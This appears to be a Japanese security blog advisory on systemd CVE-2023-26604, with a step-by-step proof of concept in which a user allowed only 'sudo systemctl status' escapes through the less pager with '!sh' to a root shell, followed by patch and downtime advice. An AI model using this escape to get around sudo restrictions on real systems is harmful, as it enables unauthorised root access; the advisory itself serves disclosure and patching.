(設定に前提条件あり) systemdの脆弱性(Moderate: CVE-2023-26604)

03/05/2023にsystemdの脆弱性(Moderate: CVE-2023-26604)が公開されました。今回はこちらの脆弱性の概要と、各ディストリビューションの対応について纏めます。

[過去関連リンク(最新5件)]

CVSS/プライオリティ

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26604
    • ローカルの特権昇格の問題
    • 247より前のsystemdでは、sudoの設定ファイル(/etc/sudoers)等により制限されたローカルの権限昇格をすり抜けて権限昇格が行えてしまう場合があります。例えば、systemdはLESSECUREを1に設定していないため、lessプログラムから他のプログラム(shell等)が起動される可能性があります。ターミナルの設定によりsystemctlの出力がlessに引き渡された場合には、lessがrootとして実行されているため、そのlessを経由して他のプログラムが起動されてしまいます。

PoC

1. ターゲットのシステムで、/etc/sudoersを下記のように設定します。

# User privilege specification
root    ALL=(ALL:ALL) ALL
sudotest    ALL=(root) /usr/bin/systemctl status cron.service
# Members of the admin group may gain root privileges

2. この場合、一般ユーザ「sudotest」は/usr/bin/systemctl status cron.serviceをroot権限で実行できますが、他のプログラムはsudoで実行できません。

sudotest@localhost:~$ sudo /bin/ls /tmp
Sorry, user sudotest is not allowed to execute '/bin/ls /tmp' as root on localhost.

3. ターミナルのサイズが大きい場合には、systemctl statusの出力は全て表示されるため、問題ありません。

sudotest@localhost:~$sudo /usr/bin/systemctl status cron.service
● cron.service - Regular background program processing daemon
     Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled)
     Active: active (running) since Mon 2023-03-06 09:19:26 UTC; 21min ago
       Docs: man:cron(8)
   Main PID: 861 (cron)
      Tasks: 1 (limit: 4566)
     Memory: 452.0K
     CGroup: /system.slice/cron.service
             └─861 /usr/sbin/cron -f

Mar 06 09:19:26 localhost systemd[1]: Started Regular background program processing daemon.
Mar 06 09:19:26 localhost cron[861]: (CRON) INFO (pidfile fd = 3)
Mar 06 09:19:26 localhost cron[861]: (CRON) INFO (Running @reboot jobs)
sudotest@localhost:~$

4. ターミナルのサイズが小さい場合には、systemctl statusの出力はlessに渡されます。

sudotest@localhost:~$sudo /usr/bin/systemctl status cron.service
● cron.service - Regular background program processing daemon
     Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: en>
     Active: active (running) since Mon 2023-03-06 09:19:26 UTC; 28min ago
       Docs: man:cron(8)
   Main PID: 861 (cron)
      Tasks: 1 (limit: 4566)
     Memory: 452.0K
     CGroup: /system.slice/cron.service
             └─861 /usr/sbin/cron -f

Mar 06 09:19:26 localhost systemd[1]: Started Regular background program proces>
Mar 06 09:19:26 localhost cron[861]: (CRON) INFO (pidfile fd = 3)
Mar 06 09:19:26 localhost cron[861]: (CRON) INFO (Running @reboot
lines 1-13/13 (END)

5. lessになっているので、”! shell-command”でシェルを起動できます。その際にidを確認すると、rootになっている状態です。

sudotest@localhost:~$sudo /usr/bin/systemctl status cron.service
● cron.service - Regular background program processing daemon
     Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: en>
     Active: active (running) since Mon 2023-03-06 09:19:26 UTC; 28min ago
       Docs: man:cron(8)
   Main PID: 861 (cron)
      Tasks: 1 (limit: 4566)
     Memory: 452.0K
     CGroup: /system.slice/cron.service
             └─861 /usr/sbin/cron -f

Mar 06 09:19:26 localhost systemd[1]: Started Regular background program proces>
Mar 06 09:19:26 localhost cron[861]: (CRON) INFO (pidfile fd = 3)
Mar 06 09:19:26 localhost cron[861]: (CRON) INFO (Running @reboot jobs)
!sh
# id
uid=0(root) gid=0(root) groups=0(root)
# 

主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください

対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteKatello、Spacewalk等を使うと管理が便利でしょう。

また、サービスの再起動が発生しますので、pacemakerなどOSSのクラスタ製品やLifeKeeperなどの商用のクラスタリング製品を使うとサービス断の時間を最小限にすることが出来ます。

[参考]

タイトルとURLをコピーしました